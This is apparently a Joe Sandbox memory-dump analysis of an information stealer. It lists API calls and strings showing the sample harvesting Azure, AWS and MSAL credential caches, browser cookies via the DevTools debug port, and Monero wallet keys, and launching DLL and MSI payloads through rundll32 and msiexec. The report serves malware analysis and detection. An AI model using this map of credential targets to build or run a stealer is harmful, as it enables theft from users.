Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 871ca0614815765e4a30aa92922e5bcd2150ebd951411c4bfff59fd7fc1c159d
Instruction ID: 5aaa559713385faaed783d9a9ed7e5fc57c106e042fbd2ea00d860d6f462fcfb
Opcode Fuzzy Hash: 871ca0614815765e4a30aa92922e5bcd2150ebd951411c4bfff59fd7fc1c159d
Instruction Fuzzy Hash: 1641C4BA94430867DF14F7B0EC9BFED33385B65705F004564B649660C1EEB46BC89B92

Function 00C991A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00C991FC

Strings

image/jpeg, xrefs: 00C992C6

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 53f8cf3574831659e12750ab9d08128f0aed6ffaccad1ab3fdb8362ea94da176
Instruction ID: 65863991cf0bbc33e15dfb3c08d94643d71f1b882077de234ec5ec32afa85cfe
Opcode Fuzzy Hash: 53f8cf3574831659e12750ab9d08128f0aed6ffaccad1ab3fdb8362ea94da176
Instruction Fuzzy Hash: F371BE75914308ABDB14EFE4EC89FEEB7B8FB48701F108508F616A7290DB74A905DB60

Function 00C93080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00C93415
ShellExecuteEx.SHELL32(0000003C), ref: 00C935AD
ShellExecuteEx.SHELL32(0000003C), ref: 00C9373A

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00C93582
.msi, xrefs: 00C935E8
<, xrefs: 00C936E0
.dll, xrefs: 00C93435
"" , xrefs: 00C932EA
/i ", xrefs: 00C93634
C:\Windows\system32\msiexec.exe, xrefs: 00C9370F
/passive, xrefs: 00C936AB

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 9c1c3c4fc9949feea500c61e74afaac75744d95a7ce24b80aa8b73cf5eaf6318
Instruction ID: a7c40140d95cc5303341114833b6963fdfd4b244c07a192822d22b337519900a
Opcode Fuzzy Hash: 9c1c3c4fc9949feea500c61e74afaac75744d95a7ce24b80aa8b73cf5eaf6318
Instruction Fuzzy Hash: 65120D72910108ABCF18FBA0DDAAFEDB739AF14300F504599F10666192EF346B49DFA5

Function 00C89BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C89A50: InternetOpenA.WININET(00CA0AF6,00000001,00000000,00000000,00000000), ref: 00C89A6A

lstrcat.KERNEL32(?,cookies), ref: 00C89CAF
lstrcat.KERNEL32(?,00CA12C4), ref: 00C89CC1
lstrcat.KERNEL32(?,?), ref: 00C89CD5
lstrcat.KERNEL32(?,00CA12C8), ref: 00C89CE7
lstrcat.KERNEL32(?,?), ref: 00C89CFB
lstrcat.KERNEL32(?,.txt), ref: 00C89D0D
lstrlen.KERNEL32(00000000), ref: 00C89D17
lstrlen.KERNEL32(00000000), ref: 00C89D26

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Strings

ws://localhost:9229, xrefs: 00C89C3C
localhost, xrefs: 00C89BF5
.txt, xrefs: 00C89D01
cookies, xrefs: 00C89CA3
/devtools, xrefs: 00C89C0B

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 3174675846-3542011879
Opcode ID: be2e1873fd08a1367dbad5f8085d3b7e8eed4685a3921492f596fb312e5f870b
Instruction ID: 4daa492a860acb858582de3f4d6f30fc9025a811a66d8088f067a0146445759a
Opcode Fuzzy Hash: be2e1873fd08a1367dbad5f8085d3b7e8eed4685a3921492f596fb312e5f870b
Instruction Fuzzy Hash: 18518371910608ABCB14FBE0EC99FEE7778AF44305F444658F60AA7091EF30AA49DF65

Function 00C95510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C862D0: InternetOpenA.WININET(00CA0DFF,00000001,00000000,00000000,00000000), ref: 00C86331
Part of subcall function 00C862D0: StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C86353
Part of subcall function 00C862D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C86385
Part of subcall function 00C862D0: HttpOpenRequestA.WININET(00000000,GET,?,0152DA28,00000000,00000000,00400100,00000000), ref: 00C863D5
Part of subcall function 00C862D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C8640F
Part of subcall function 00C862D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C86421

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C95568
lstrlen.KERNEL32(00000000), ref: 00C9557F

Part of subcall function 00C98FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C98FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 00C955B4
lstrlen.KERNEL32(00000000), ref: 00C955D3
lstrlen.KERNEL32(00000000), ref: 00C955FE

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Strings

ERROR, xrefs: 00C956BF
ERROR, xrefs: 00C9555A
ERROR, xrefs: 00C95682
ERROR, xrefs: 00C95609
ERROR, xrefs: 00C956F9

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 41a6021b97877690f70074b2f9f1be9aaaa655e6d94801cad02b1b5b39fc0809
Instruction ID: 50fa6d682904a84a9bc2d62d82a54492c2f10457174d2a320ac3226db494dd00
Opcode Fuzzy Hash: 41a6021b97877690f70074b2f9f1be9aaaa655e6d94801cad02b1b5b39fc0809
Instruction Fuzzy Hash: D3511D30914108EBCF14FFA0DDAAAED7779AF10341F504468F90A57592EF30AB45EBA6

Function 00C91520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: a1d5f6a54e57ec42b28ae16ca1ea783fa3c28c679c05cb56438e3a6de59caed9
Instruction ID: fc4a734ab1d74831cfa42299b2b6059c8c3d0c8aded39e619a7b6d1e5e87f215
Opcode Fuzzy Hash: a1d5f6a54e57ec42b28ae16ca1ea783fa3c28c679c05cb56438e3a6de59caed9
Instruction Fuzzy Hash: 9FC1B2B6900219ABCF14EF60DC9EFEE77B8BF54304F044598F509A7251EA70AA84DF90

Function 00C944D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C98F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C98F9B

lstrcat.KERNEL32(?,00000000), ref: 00C9453C
lstrcat.KERNEL32(?,0152DE78), ref: 00C9455B
lstrcat.KERNEL32(?,?), ref: 00C9456F
lstrcat.KERNEL32(?,0152CE50), ref: 00C94583

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C98F20: GetFileAttributesA.KERNEL32(00000000,?,00C81B94,?,?,00CA577C,?,?,00CA0E22), ref: 00C98F2F

Part of subcall function 00C8A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C8A489

Part of subcall function 00C8A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
Part of subcall function 00C8A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
Part of subcall function 00C8A110: LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
Part of subcall function 00C8A110: ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
Part of subcall function 00C8A110: LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
Part of subcall function 00C8A110: CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

Part of subcall function 00C99550: GlobalAlloc.KERNEL32(00000000,00C9462D,00C9462D), ref: 00C99563

StrStrA.SHLWAPI(?,0152DE90), ref: 00C94643
GlobalFree.KERNEL32(?), ref: 00C94762

Part of subcall function 00C8A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A23F
Part of subcall function 00C8A210: LocalAlloc.KERNEL32(00000040,?,?,?,00C84F3E,00000000,?), ref: 00C8A251
Part of subcall function 00C8A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A27A
Part of subcall function 00C8A210: LocalFree.KERNEL32(?,?,?,?,00C84F3E,00000000,?), ref: 00C8A28F

lstrcat.KERNEL32(?,00000000), ref: 00C946F3
StrCmpCA.SHLWAPI(?,00CA08D2), ref: 00C94710
lstrcat.KERNEL32(00000000,00000000), ref: 00C94722
lstrcat.KERNEL32(00000000,?), ref: 00C94735
lstrcat.KERNEL32(00000000,00CA0FA0), ref: 00C94744

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 9ea9887afacc713212333133ca32de4605e99eace0a05bca5284b18596b8b3d2
Instruction ID: aa0acf88b1445feefcbff8526fa4c9a7bf608acdeb3e6e8982d70968d948d715
Opcode Fuzzy Hash: 9ea9887afacc713212333133ca32de4605e99eace0a05bca5284b18596b8b3d2
Instruction Fuzzy Hash: CF7164B6900208ABDF14EBE0ED99FDE7379AB89304F044598F60597181EA34EB49DF91

Function 00C81310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C812B4
Part of subcall function 00C812A0: RtlAllocateHeap.NTDLL(00000000), ref: 00C812BB
Part of subcall function 00C812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C812D7
Part of subcall function 00C812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C812F5
Part of subcall function 00C812A0: RegCloseKey.ADVAPI32(?), ref: 00C812FF

lstrcat.KERNEL32(?,00000000), ref: 00C8134F
lstrlen.KERNEL32(?), ref: 00C8135C
lstrcat.KERNEL32(?,.keys), ref: 00C81377

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00C81465

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C8A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
Part of subcall function 00C8A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
Part of subcall function 00C8A110: LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
Part of subcall function 00C8A110: ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
Part of subcall function 00C8A110: LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
Part of subcall function 00C8A110: CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

DeleteFileA.KERNEL32(00000000), ref: 00C814EF

Strings

.keys, xrefs: 00C8136B
\Monero\wallet.keys, xrefs: 00C8138D
SOFTWARE\monero-project\monero-core, xrefs: 00C81335
wallet_path, xrefs: 00C81330

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: d8a08a3ca4b3125637a55d514dcde1bca2a40f0e01446c578e4b4aae04e52f62
Instruction ID: b572d938fc9d2d933781d33fab71d5d9fc8e591f470271f6687f852e70bdf270
Opcode Fuzzy Hash: d8a08a3ca4b3125637a55d514dcde1bca2a40f0e01446c578e4b4aae04e52f62
Instruction Fuzzy Hash: E65122B2D502199BCF15FB60DD96EED737CAB54300F4045E8B60A62092EE306B89DFA5

Function 00C89A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00CA0AF6,00000001,00000000,00000000,00000000), ref: 00C89A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00C89AAB
InternetCloseHandle.WININET(00000000), ref: 00C89AC7

Strings

"ws://, xrefs: 00C89B84
"webSocketDebuggerUrl":, xrefs: 00C89B4B
http://localhost:9229/json, xrefs: 00C89A9F

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
